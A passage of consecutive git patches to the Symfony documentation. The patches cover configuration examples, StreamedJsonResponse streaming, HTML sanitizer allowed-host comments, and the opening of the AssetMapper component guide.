@@ -61,12 +61,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"6.4.*@dev" my_project_directory
+    $ composer create-project symfony/skeleton:"7.0.*@dev" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"6.4.*@dev" my_project_directory
+    $ composer create-project symfony/skeleton:"7.0.*@dev" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies

From 7fb55b4139281cd4346fad48f1f39bd660863324 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 5 Jun 2023 09:09:23 +0200
Subject: [PATCH 3344/5766] Minor tweaks

---
 service_container.rst | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index 189071319ab..6d215be627d 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1313,14 +1313,15 @@ Let's say you have the following functional interface::
         public function format(string $message, array $parameters): string;
     }
 
-Now, you can define a service implementing this method, among other util ones::
+You also have a service that defines many methods and one of them is the same
+``format()`` method of the previous interface::
 
     // src/Service/MessageFormatterInterface.php
     namespace App\Service;
 
     class MessageUtils
     {
-        // other utils methods...
+        // other methods...
 
         public function format($string $message, array $parameters): string
         {
@@ -1328,8 +1329,8 @@ Now, you can define a service implementing this method, among other util ones::
         }
     }
 
-We can now use ``#[AutowireCallable]`` with our ``MessageUtils`` service
-to inject our functional interface implementation::
+Thanks to the ``#[AutowireCallable]`` attribute, you can now inject this
+``MessageUtils`` service as a functional interface implementation::
 
     namespace App\Service\Mail;
 
@@ -1358,8 +1359,8 @@ to inject our functional interface implementation::
     The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireCallable`
     attribute was introduced in Symfony 6.3.
 
-Alternatively, generating an adapter for a functional interface can also
-be done through configuration:
+Instead of using the ``#[AutowireCallable]`` attribute, you can also generate
+an adapter for a functional interface through configuration:
 
 .. configuration-block::
 

From 1b24769ab39af5298a0305834dfbac04b6ba5f0c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 5 Jun 2023 15:02:19 +0200
Subject: [PATCH 3345/5766] [Session] Fix missing `code-block` directive

---
 session.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/session.rst b/session.rst
index 621749eadb0..058c0984b8c 100644
--- a/session.rst
+++ b/session.rst
@@ -517,6 +517,8 @@ a Symfony service for the connection to the Redis server:
 
 .. configuration-block::
 
+    .. code-block:: yaml
+
         # config/services.yaml
         services:
             # ...

From 4ac5d8984a4e1edf2cfb1f7638b57e083b149d51 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 5 Jun 2023 16:37:10 +0200
Subject: [PATCH 3346/5766] [Lock] Add Redis Secure DSN example

---
 lock.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/lock.rst b/lock.rst
index 8d5dc62617f..7a05152429e 100644
--- a/lock.rst
+++ b/lock.rst
@@ -50,6 +50,7 @@ this behavior by using the ``lock`` key like:
             lock: ['memcached://m1.docker', 'memcached://m2.docker']
             lock: 'redis://r1.docker'
             lock: ['redis://r1.docker', 'redis://r2.docker']
+            lock: 'rediss://r1.docker?ssl[verify_peer]=1&ssl[cafile]=...'
             lock: 'zookeeper://z1.docker'
             lock: 'zookeeper://z1.docker,z2.docker'
             lock: 'sqlite:///%kernel.project_dir%/var/lock.db'

From a4c126123cddaa04a3d1d0191ff6103743229d43 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 6 Jan 2023 17:00:17 +0100
Subject: [PATCH 3347/5766] [Config] Introducing the new `param()` function as
 early as possible

---
 configuration.rst | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 79d014f9170..386e1453f1f 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -304,8 +304,6 @@ configuration file using a special syntax: wrap the parameter name in two ``%``
             # any string surrounded by two % is replaced by that parameter value
             email_address: '%app.admin_email%'
 
-            # ...
-
     .. code-block:: xml
 
         <!-- config/packages/some_package.xml -->
@@ -328,13 +326,17 @@ configuration file using a special syntax: wrap the parameter name in two ``%``
 
         // config/packages/some_package.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\param;
 
         return static function (ContainerConfigurator $container) {
             $container->extension('some_package', [
-                // any string surrounded by two % is replaced by that parameter value
-                'email_address' => '%app.admin_email%',
+                // when using the param() function, you only have to pass the parameter name...
+                'email_address' => param('app.admin_email'),
 
-                // ...
+                // ... but if you prefer it, you can also pass the name as a string
+                // surrounded by two % (same as in YAML and XML formats) and Symfony will
+                // replace it by that parameter value
+                'email_address' => '%app.admin_email%',
             ]);
         };
 

From 0c3c0f5d5e3b0e8f1bac4e23fe212918a4f97307 Mon Sep 17 00:00:00 2001
From: Quentin Dequippe <quentin@dequippe.tech>
Date: Sun, 23 Apr 2023 10:36:41 +0400
Subject: [PATCH 3348/5766] Add missing type monolog config php config

---
 logging/monolog_email.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/logging/monolog_email.rst b/logging/monolog_email.rst
index e6da3dbeb51..3302707bea3 100644
--- a/logging/monolog_email.rst
+++ b/logging/monolog_email.rst
@@ -293,6 +293,7 @@ get logged on the server as well as the emails being sent:
             ;
 
             $monolog->handler('group')
+                ->type('group')
                 ->members(['streamed', 'deduplicated'])
             ;
 

From 44f23883483860f7c2a3238b1074ca95d5553395 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 6 Jun 2023 12:59:01 +0200
Subject: [PATCH 3349/5766] Tweaks

---
 configuration.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 2b84c4cfb24..f423a15c85b 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -59,9 +59,9 @@ shown in these three formats.
 
 .. note::
 
-    By default, Symfony only loads the configuration
-    files defined in YAML format. If you define configuration in XML and/or PHP
-    formats, update the ``src/Kernel.php`` file::
+    By default, Symfony only loads the configuration files defined in YAML
+    format. If you define configuration in XML and/or PHP formats, update the
+    ``src/Kernel.php`` file::
 
         // src/Kernel.php
         use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
@@ -88,8 +88,8 @@ shown in these three formats.
         }
 
 There isn't any practical difference between formats. In fact, Symfony
-transforms all of them into PHP and caches them before running the application, so
-there's not even any performance difference.
+transforms all of them into PHP and caches them before running the application,
+so there's not even any performance difference.
 
 YAML is used by default when installing packages because it's concise and very
 readable. These are the main advantages and disadvantages of each format:

From db393f572f1b5f50c38cd51e4fc97f0d9242b5e1 Mon Sep 17 00:00:00 2001
From: Cristiano Cattaneo <c.cattaneo@net-evolution.com>
Date: Wed, 2 Nov 2022 22:47:37 +0100
Subject: [PATCH 3350/5766] Update multiple_entity_managers.rst

in this symfony version the "annotation" type for mappings should be treated as deprecated, or at least reported with a comment
---
 doctrine/multiple_entity_managers.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 081239bcd9f..b470f33d1d1 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -43,7 +43,6 @@ The following configuration code shows how you can configure two entity managers
                         mappings:
                             Main:
                                 is_bundle: false
-                                type: annotation
                                 dir: '%kernel.project_dir%/src/Entity/Main'
                                 prefix: 'App\Entity\Main'
                                 alias: Main
@@ -52,7 +51,6 @@ The following configuration code shows how you can configure two entity managers
                         mappings:
                             Customer:
                                 is_bundle: false
-                                type: annotation
                                 dir: '%kernel.project_dir%/src/Entity/Customer'
                                 prefix: 'App\Entity\Customer'
                                 alias: Customer
@@ -85,7 +83,6 @@ The following configuration code shows how you can configure two entity managers
                         <doctrine:mapping
                             name="Main"
                             is_bundle="false"
-                            type="annotation"
                             dir="%kernel.project_dir%/src/Entity/Main"
                             prefix="App\Entity\Main"
                             alias="Main"
@@ -96,7 +93,6 @@ The following configuration code shows how you can configure two entity managers
                         <doctrine:mapping
                             name="Customer"
                             is_bundle="false"
-                            type="annotation"
                             dir="%kernel.project_dir%/src/Entity/Customer"
                             prefix="App\Entity\Customer"
                             alias="Customer"
@@ -127,7 +123,6 @@ The following configuration code shows how you can configure two entity managers
             $defaultEntityManager->connection('default');
             $defaultEntityManager->mapping('Main')
                 ->isBundle(false)
-                ->type('annotation')
                 ->dir('%kernel.project_dir%/src/Entity/Main')
                 ->prefix('App\Entity\Main')
                 ->alias('Main');
@@ -135,7 +130,6 @@ The following configuration code shows how you can configure two entity managers
             $customerEntityManager->connection('customer');
             $customerEntityManager->mapping('Customer')
                 ->isBundle(false)
-                ->type('annotation')
                 ->dir('%kernel.project_dir%/src/Entity/Customer')
                 ->prefix('App\Entity\Customer')
                 ->alias('Customer')

From 8a285e37d1bda1d71382db7250522c396e02cfd4 Mon Sep 17 00:00:00 2001
From: Alexander Schranz <alexander@sulu.io>
Date: Wed, 28 Sep 2022 01:58:34 +0200
Subject: [PATCH 3351/5766] [HttpFoundation] Add documentation for
 `StreamedJsonResponse`

---
 components/http_foundation.rst | 98 ++++++++++++++++++++++++++++++++++
 1 file changed, 98 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 6f6cb5b524e..7f3840c4398 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -631,6 +631,103 @@ represented by a PHP callable instead of a string::
 
 .. _component-http-foundation-serving-files:
 
+Streaming a JSON Response
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 6.3
+
+    The :class:`Symfony\\Component\\HttpFoundation\\StreamedJsonResponse` class was
+    introduced in Symfony 6.3.
+
+The :class:`Symfony\\Component\\HttpFoundation\\StreamedJsonResponse` allows an API to
+return a lot of data as JSON and keep the used resources low by make usage of Generators.
+
+It expects an array which represents the JSON structure and the list which should be
+streamed are represented in the array as ``\Generator``. It also supports any kind of
+Traversable containing JSON serializable data for a good developer experience,
+but for keep the resources usage as low as possible, it is recommended to use ``\Generators``,
+as they the advantages that only the current returned data need to be keep in memory.
+
+The response will stream the JSON with generators in to most efficient way and keep resources as low as possible::
+
+    use Symfony\Component\HttpFoundation\StreamedJsonResponse;
+
+    function loadArticles(): \Generator { // any method or function returning a Generator
+         yield ['title' => 'Article 1'];
+         yield ['title' => 'Article 2'];
+         yield ['title' => 'Article 3'];
+    };
+
+    $response = new StreamedJsonResponse(
+        // json structure with generators in which will be streamed as a list
+        [
+            '_embedded' => [
+                'articles' => loadArticles(), // any \Generator can be used which will be streamed as list of data
+            ],
+        ],
+    );
+
+.. tip::
+
+    If loading data via doctrine the ``toIterable`` method of ``Doctrine`` can be
+    used to keep the resources low and fetch only row by row.
+    See the `Doctrine Batch processing`_ documentation for more::
+
+        public function __invoke(): Response
+        {
+            return new StreamedJsonResponse(
+                [
+                    '_embedded' => [
+                        'articles' => $this->loadArticles(),
+                    ],
+                ],
+            );
+        }
+
+        public function loadArticles(): \Generator
+        {
+            $queryBuilder = $entityManager->createQueryBuilder();
+            $queryBuilder->from(Article::class, 'article');
+            $queryBuilder->select('article.id')
+                ->addSelect('article.title')
+                ->addSelect('article.description');
+
+            return $queryBuilder->getQuery()->toIterable();
+        }
+
+.. tip::
+
+    If you have a lot of data to be returned you may want to call the
+    PHP `flush <https://www.php.net/manual/en/function.flush.php>`__ method between
+    to flush the response after every specific count of items::
+
+        public function __invoke(): Response
+        {
+            return new StreamedJsonResponse([
+                '_embedded' => [
+                    'articles' => $this->loadArticles(),
+                ],
+            ]);
+        }
+
+        public function loadArticles(): \Generator
+        {
+            $queryBuilder = $entityManager->createQueryBuilder();
+            $queryBuilder->from(Article::class, 'article');
+            $queryBuilder->select('article.id')
+                ->addSelect('article.title')
+                ->addSelect('article.description');
+
+            $count = 0;
+            foreach ($queryBuilder->getQuery()->toIterable() as $article) {
+                yield $article;
+
+                if (++$count % 100 === 0) {
+                    flush();
+                }
+            }
+        }
+
 Serving Files
 ~~~~~~~~~~~~~
 
@@ -866,3 +963,4 @@ Learn More
 .. _`JSON Hijacking`: https://haacked.com/archive/2009/06/25/json-hijacking.aspx/
 .. _OWASP guidelines: https://cheatsheetseries.owasp.org/cheatsheets/AJAX_Security_Cheat_Sheet.html#always-return-json-with-an-object-on-the-outside
 .. _RFC 8674: https://tools.ietf.org/html/rfc8674
+.. _Doctrine Batch processing: https://www.doctrine-project.org/projects/doctrine-orm/en/2.14/reference/batch-processing.html#iterating-results

From 3be5f6a48a4610e4cac0f9a5ee2a7c1443147b33 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 6 Jun 2023 15:11:56 +0200
Subject: [PATCH 3352/5766] Tweaks

---
 components/http_foundation.rst | 111 ++++++++++++++-------------------
 1 file changed, 47 insertions(+), 64 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 7f3840c4398..f4c9c550a09 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -629,8 +629,6 @@ represented by a PHP callable instead of a string::
         // disables FastCGI buffering in nginx only for this response
         $response->headers->set('X-Accel-Buffering', 'no');
 
-.. _component-http-foundation-serving-files:
-
 Streaming a JSON Response
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -639,94 +637,79 @@ Streaming a JSON Response
     The :class:`Symfony\\Component\\HttpFoundation\\StreamedJsonResponse` class was
     introduced in Symfony 6.3.
 
-The :class:`Symfony\\Component\\HttpFoundation\\StreamedJsonResponse` allows an API to
-return a lot of data as JSON and keep the used resources low by make usage of Generators.
+The :class:`Symfony\\Component\\HttpFoundation\\StreamedJsonResponse` allows to
+stream large JSON responses using PHP generators to keep the used resources low.
 
-It expects an array which represents the JSON structure and the list which should be
-streamed are represented in the array as ``\Generator``. It also supports any kind of
-Traversable containing JSON serializable data for a good developer experience,
-but for keep the resources usage as low as possible, it is recommended to use ``\Generators``,
-as they the advantages that only the current returned data need to be keep in memory.
-
-The response will stream the JSON with generators in to most efficient way and keep resources as low as possible::
+The class constructor expects an array which represents the JSON structure and
+includes the list of contents to stream. In addition to PHP generators, which are
+recommended to minimize memory usage, it also supports any kind of PHP Traversable
+containing JSON serializable data::
 
     use Symfony\Component\HttpFoundation\StreamedJsonResponse;
 
-    function loadArticles(): \Generator { // any method or function returning a Generator
+    // any method or function returning a PHP Generator
+    function loadArticles(): \Generator {
          yield ['title' => 'Article 1'];
          yield ['title' => 'Article 2'];
          yield ['title' => 'Article 3'];
     };
 
     $response = new StreamedJsonResponse(
-        // json structure with generators in which will be streamed as a list
+        // JSON structure with generators in which will be streamed as a list
         [
             '_embedded' => [
-                'articles' => loadArticles(), // any \Generator can be used which will be streamed as list of data
+                'articles' => loadArticles(),
             ],
         ],
     );
 
-.. tip::
-
-    If loading data via doctrine the ``toIterable`` method of ``Doctrine`` can be
-    used to keep the resources low and fetch only row by row.
-    See the `Doctrine Batch processing`_ documentation for more::
+When loading data via Doctrine, you can use the ``toIterable()`` method to
+fetch results row by row and minimize resources consumption.
+See the `Doctrine Batch processing`_ documentation for more::
 
-        public function __invoke(): Response
-        {
-            return new StreamedJsonResponse(
-                [
-                    '_embedded' => [
-                        'articles' => $this->loadArticles(),
-                    ],
+    public function __invoke(): Response
+    {
+        return new StreamedJsonResponse(
+            [
+                '_embedded' => [
+                    'articles' => $this->loadArticles(),
                 ],
-            );
-        }
+            ],
+        );
+    }
 
-        public function loadArticles(): \Generator
-        {
-            $queryBuilder = $entityManager->createQueryBuilder();
-            $queryBuilder->from(Article::class, 'article');
-            $queryBuilder->select('article.id')
-                ->addSelect('article.title')
-                ->addSelect('article.description');
+    public function loadArticles(): \Generator
+    {
+        // get the $entityManager somehow (e.g. via constructor injection)
+        $entityManager = ...
 
-            return $queryBuilder->getQuery()->toIterable();
-        }
+        $queryBuilder = $entityManager->createQueryBuilder();
+        $queryBuilder->from(Article::class, 'article');
+        $queryBuilder->select('article.id')
+            ->addSelect('article.title')
+            ->addSelect('article.description');
 
-.. tip::
+        return $queryBuilder->getQuery()->toIterable();
+    }
 
-    If you have a lot of data to be returned you may want to call the
-    PHP `flush <https://www.php.net/manual/en/function.flush.php>`__ method between
-    to flush the response after every specific count of items::
+If you return a lot of data, consider calling the :phpfunction:`flush` function
+after some specific item count to send the contents to the browser::
 
-        public function __invoke(): Response
-        {
-            return new StreamedJsonResponse([
-                '_embedded' => [
-                    'articles' => $this->loadArticles(),
-                ],
-            ]);
-        }
+    public function loadArticles(): \Generator
+    {
+        // ...
 
-        public function loadArticles(): \Generator
-        {
-            $queryBuilder = $entityManager->createQueryBuilder();
-            $queryBuilder->from(Article::class, 'article');
-            $queryBuilder->select('article.id')
-                ->addSelect('article.title')
-                ->addSelect('article.description');
-
-            $count = 0;
-            foreach ($queryBuilder->getQuery()->toIterable() as $article) {
-                yield $article;
-
-                if (++$count % 100 === 0) {
-                    flush();
-                }
+        $count = 0;
+        foreach ($queryBuilder->getQuery()->toIterable() as $article) {
+            yield $article;
+
+            if (0 === ++$count % 100) {
+                flush();
             }
         }
+    }
+
+.. _component-http-foundation-serving-files:
 
 Serving Files
 ~~~~~~~~~~~~~

From 9e3d22538dfdde17278d678080718b9565e106eb Mon Sep 17 00:00:00 2001
From: Patrick Landolt <patrick.landolt@artack.ch>
Date: Wed, 7 Jun 2023 14:07:44 +0200
Subject: [PATCH 3353/5766] subdomains are also allowed on allowed hosts

---
 html_sanitizer.rst | 30 ++++++++++++++++--------------
 1 file changed, 16 insertions(+), 14 deletions(-)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index fccaedd29cd..806f6c85283 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -730,8 +730,8 @@ URLs of ``<a>`` elements:
                         allowed_link_schemes: ['http', 'https', 'mailto']
 
                         # specifies the allowed hosts, the attribute will be dropped if the
-                        # URL contains a different host
-                        allowed_link_hosts: ['symfony.com']
+                        # URL contains a different host which is not a subdomain of the allowed host
+                        allowed_link_hosts: ['symfony.com'] # also allows any subdomain (i.e. www.symfony.com)
 
                         # whether to allow relative links (i.e. URLs without scheme and host)
                         allow_relative_links: true
@@ -763,7 +763,8 @@ URLs of ``<a>`` elements:
                     <allowed-link-scheme>mailto</allowed-link-scheme>
 
                     <!-- specifies the allowed hosts, the attribute will be dropped if the
-                         URL contains a different host -->
+                         URL contains a different host which is not a subdomain of the allowed host
+                         Also allows any subdomain (i.e. www.symfony.com) -->
                     <allowed-link-host>symfony.com</allowed-link-host>
                 </framework:html-sanitizer>
             </framework:config>
@@ -786,8 +787,8 @@ URLs of ``<a>`` elements:
                     ->allowedLinkSchemes(['http', 'https', 'mailto'])
 
                     // specifies the allowed hosts, the attribute will be dropped if the
-                    // URL contains a different host
-                    ->allowedLinkHost('symfony.com')
+                    // URL contains a different host which is not a subdomain of the allowed host
+                    ->allowedLinkHost('symfony.com') // Also allows any subdomain (i.e. www.symfony.com)
 
                     // whether to allow relative links (i.e. URLs without scheme and host)
                     ->allowRelativeLinks(true)
@@ -810,8 +811,8 @@ URLs of ``<a>`` elements:
                 ->allowedLinkSchemes(['http', 'https', 'mailto'])
 
                 // specifies the allowed hosts, the attribute will be dropped if the
-                // URL contains a different host
-                ->allowedLinkHosts(['symfony.com'])
+                // URL contains a different host which is not a subdomain of the allowed host
+                ->allowedLinkHosts(['symfony.com']) // Also allows any subdomain (i.e. www.symfony.com)
 
                 // whether to allow relative links (i.e. URLs without scheme and host)
                 ->allowRelativeLinks()
@@ -844,8 +845,8 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
                         allowed_media_schemes: ['http', 'https', 'mailto']
 
                         # specifies the allowed hosts, the attribute will be dropped if the URL
-                        # contains a different host
-                        allowed_media_hosts: ['symfony.com']
+                        # contains a different host which is not a subdomain of the allowed host
+                        allowed_media_hosts: ['symfony.com'] # Also allows any subdomain (i.e. www.symfony.com)
 
                         # whether to allow relative URLs (i.e. URLs without scheme and host)
                         allow_relative_medias: true
@@ -877,7 +878,8 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
                     <allowed-media-scheme>mailto</allowed-media-scheme>
 
                     <!-- specifies the allowed hosts, the attribute will be dropped if the URL
-                         contains a different host -->
+                         contains a different host which is not a subdomain of the allowed host.
+                         Also allows any subdomain (i.e. www.symfony.com) -->
                     <allowed-media-host>symfony.com</allowed-media-host>
                 </framework:html-sanitizer>
             </framework:config>
@@ -900,8 +902,8 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
                     ->allowedMediaSchemes(['http', 'https', 'mailto'])
 
                     // specifies the allowed hosts, the attribute will be dropped if the URL
-                    // contains a different host
-                    ->allowedMediaHost('symfony.com')
+                    // contains a different host which is not a subdomain of the allowed host
+                    ->allowedMediaHost('symfony.com') // Also allows any subdomain (i.e. www.symfony.com)
 
                     // whether to allow relative URLs (i.e. URLs without scheme and host)
                     ->allowRelativeMedias(true)
@@ -924,8 +926,8 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
                 ->allowedMediaSchemes(['http', 'https', 'mailto'])
 
                 // specifies the allowed hosts, the attribute will be dropped if the URL
-                // contains a different host
-                ->allowedMediaHosts(['symfony.com'])
+                // contains a different host which is not a subdomain of the allowed host
+                ->allowedMediaHosts(['symfony.com']) // Also allows any subdomain (i.e. www.symfony.com)
 
                 // whether to allow relative URLs (i.e. URLs without scheme and host)
                 ->allowRelativeMedias()

From ef779368ec3487b6eec01504d3aab738c85fab7e Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Fri, 2 Jun 2023 15:50:34 -0400
Subject: [PATCH 3354/5766] Hello AssetMapper Documentation

---
 deployment.rst               |    1 +
 frontend.rst                 |   74 ++-
 frontend/asset_mapper.rst    | 1097 ++++++++++++++++++++++++++++++++++
 reference/twig_reference.rst |    6 +
 4 files changed, 1161 insertions(+), 17 deletions(-)
 create mode 100644 frontend/asset_mapper.rst

diff --git a/deployment.rst b/deployment.rst
index 5cc9b0f7113..d6172c3f6d8 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -222,6 +222,7 @@ setup:
 * Add/edit CRON jobs
 * Restarting your workers
 * :ref:`Building and minifying your assets <how-do-i-deploy-my-encore-assets>` with Webpack Encore
+* :ref:`Compile your assets <asset-mapper-deployment>` if you're using the AssetMapper component
 * Pushing assets to a CDN
 * On a shared hosting platform using the Apache web server, you may need to
   install the :ref:`symfony/apache-pack package <web-server-apache-mod-php>`
diff --git a/frontend.rst b/frontend.rst
index acd7d1c2f46..f04dbdf14d4 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -1,21 +1,48 @@
-Managing CSS and JavaScript
-===========================
-
-.. admonition:: Screencast
-    :class: screencast
-
-    Do you prefer video tutorials? Check out the `Webpack Encore screencast series`_.
-
-Symfony ships with a pure-JavaScript library - called Webpack Encore - that makes
-it a joy to work with CSS and JavaScript. You can use it, use something else, or
-create static CSS and JS files in your ``public/`` directory directly and
-include them in your templates.
+Introduction
+============
+
+Symfony gives you the flexibility to choose any front-end tools you want. This could
+be dead-simple - like putting CSS & JS directly in the ``public/`` directory - or
+more advanced - like scaffolding your front-end with a tool like Next.js.
+
+However, Symfony *does* come with two powerful option to help you build a modern,
+fast frontend, *and* enjoy the process:
+
+* :ref:`Webpack Encore <frontend-webpack-encore>` is a powerful tool built with Node
+  on top of `Webpack`_ that allows you to write modern CSS & JavaScript and handle
+  things like JSX (React), Vue or TypeScript.
+
+* :ref:`AssetMapper <frontend-asset-mapper>`, is a production-ready simpler alternative
+  to Webpack Encore that runs entirely in PHP. It's currently experimental.
+
+==========================================  =================  ======================================================
+                                            Encore             AssetMapper
+==========================================  =================  ======================================================
+Production Ready?                           yes                yes
+Stable?                                     yes                :doc:`experimental </contributing/code/experimental>`
+Requirements                                node               none: pure PHP
+Requires a build step?                      yes                no
+Works in all browsers?                      yes                yes
+Supports :doc:`Stimulus/UX </frontend/ux>`  yes                yes
+Supports Sass/Tailwind                      yes                :ref:`yes <asset-mapper-tailwind>`
+Supports React, Vue, Svelte?                yes                yes**
+Supports TypeScript                         yes                no**
+==========================================  =================  ======================================================
+
+** Using JSX (React), Vue or TypeScript with AssetMapper is possible, but you'll
+   need to use their native tools for pre-compilation. Also, some features (like
+   Vue single-file components) cannot be compiled down to pure JavaScript that can
+   be executed by a browser.
 
 .. _frontend-webpack-encore:
 
 Webpack Encore
 --------------
 
+.. screencast::
+
+    Do you prefer video tutorials? Check out the `Webpack Encore screencast series`_.
+
 `Webpack Encore`_ is a simpler way to integrate `Webpack`_ into your application.
 It *wraps* Webpack, giving you a clean & powerful API for bundling JavaScript modules,
 pre-processing CSS & JS and compiling and minifying assets. Encore gives you professional
@@ -84,14 +111,31 @@ Full API
 
 * `Full API`_
 
+.. _frontend-asset-mapper:
+
+AssetMapper
+-----------
+
+AssetMapper is an alternative to Webpack Encore that runs entirely in PHP
+without any complex build steps. It leverages the ``importmap`` feature of
+your browser, which is available in all browsers thanks to a polyfill.
+AssetMapper is currently :doc:`experimental </contributing/code/experimental>`.
+
+:doc:`Read the AssetMapper Documentation </frontend/asset_mapper>`
+
 Symfony UX Components
 ---------------------
 
+* :doc:`/frontend/ux`
+
 .. include:: /frontend/_ux-libraries.rst.inc
 
 Other Front-End Articles
 ------------------------
 
+* :doc:`/frontend/create_ux_bundle`
+* :doc:`/frontend/custom_version_strategy`
+
 .. toctree::
     :hidden:
     :glob:
@@ -99,11 +143,7 @@ Other Front-End Articles
     frontend/encore/installation
     frontend/encore/simple-example
     frontend/encore/*
-
-.. toctree::
-    :maxdepth: 1
-    :glob:
-
+    frontend/asset_mapper
     frontend/*
 
 .. _`Webpack Encore`: https://www.npmjs.com/package/@symfony/webpack-encore
diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
new file mode 100644
index 00000000000..9f73e8a36a9
--- /dev/null
+++ b/frontend/asset_mapper.rst
@@ -0,0 +1,1097 @@
+AssetMapper: Simple, Modern CSS & JS Management
+===============================================
+
+.. versionadded:: 6.3
+
+    The AssetMapper component was introduced as an
+    :doc:`experimental feature </contributing/code/experimental>` in
+    Symfony 6.3.
+
+The AssetMapper component lets you write modern JavaScript and CSS without the complexity
+of using a bundler. Browsers *already* support many modern JavaScript features
+like the ``import`` statement and ES6 classes. And the HTTP/2 protocol means that
+combining your assets to reduce HTTP connections is no longer urgent. This component
+is a light layer that helps serve your files directly to the browser.
+
+The AssetMapper component has two main features:
+
+* :ref:`Mapping & Versioning Assets <mapping-assets>`: All files inside of ``assets/``
+  are made available publicly and **versioned**. For example, you can reference
+  ``assets/styles/app.css`` in a template with ``{{ asset('styles/app.css') }}``.
+  The final URL will include a version hash, like ``/assets/styles/app-3c16d9220694c0e56d8648f25e6035e9.css``.
+
+* :ref:`Importmaps <importmaps-javascript>`: A native browser feature that makes it easier
+  to use the JavaScript ``import`` statement (e.g. ``import { Modal } from 'bootstrap'``)
+  without a build system. It's supported in all browsers (thanks to a shim)
+  and is a `W3C standard <https://html.spec.whatwg.org/multipage/webappapis.html#import-maps>`_.
+
+Installation
+------------
+
+To install the AssetMapper component, run:
+
+.. code-block:: terminal
+
+    $ composer require symfony/asset-mapper symfony/asset symfony/twig-pack
+
+In addition to ``symfony/asset-mapper`, this also makes sure that you have the
+:doc:`Asset Component </components/asset>` and Twig available.
+
+If you're using :ref:`Symfony Flex <symfony-flex>`, you're done! The recipe just
+added a number of files:
+
+* ``assets/app.js`` Your main JavaScript file;
+* ``assets/styles/app.css`` Your main CSS file;
+* ``config/packages/asset_mapper.yaml`` Where you define your asset "paths";
+* ``importmap.php`` Your importmap config file.
+
+It also *updated* the ``templates/base.html.twig`` file:
+
+.. code-block:: diff
+
+    {% block stylesheets %}
+    +    <link rel="stylesheet" href="{{ asset('styles/app.css') }}">
+    {% endblock %}
+
+    {% block javascripts %}
+    +    {{ importmap() }}
+    {% endblock %}
+
+If you're not using Flex, you'll need to create & update these files manually. See
+the `latest asset-mapper recipe`_ for the exact content of these files.
+
+.. _mapping-assets:
+
+Mapping and Referencing Assets
+------------------------------
+
+The AssetMapper component works by defining directories/paths of assets that you want to expose
+publicly. These assets are then versioned and easy to reference. Thanks to the
+``asset_mapper.yaml`` file, your app starts with one mapped path: the ``assets/``
+directory.
+
+If you create an ``assets/images/duck.png`` file, you can reference it in a template with:
+
+.. code-block:: html+twig
+
+    <img src="{{ asset('images/duck.png') }}">
+
+The path - ``images/duck.png`` - is relative to your mapped directory (``assets/``).
+This is known as the **logical path** to your asset.
+
+If you look at the HTML in your page, the URL will be something
+like: ``/assets/images/duck-3c16d9220694c0e56d8648f25e6035e9.png``. If you update
+the file, the version part of the URL will change automatically!
+
+Serving Assets in dev vs prod
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In the ``dev`` environment, the URL - ``/assets/images/duck-3c16d9220694c0e56d8648f25e6035e9.png``
+is handled and returned by your Symfony app. For the ``prod`` environment, before
+deploy, you should run:
+
+.. code-block:: terminal
+
+    $ php bin/console asset-map:compile
+
+This will physically copy all the files from your mapped directories into
+``public/assets/`` so that they're served directly by your web server.
+See :ref:`Deployment <asset-mapper-deployment>` for more details.
+
+Paths Inside of CSS Files
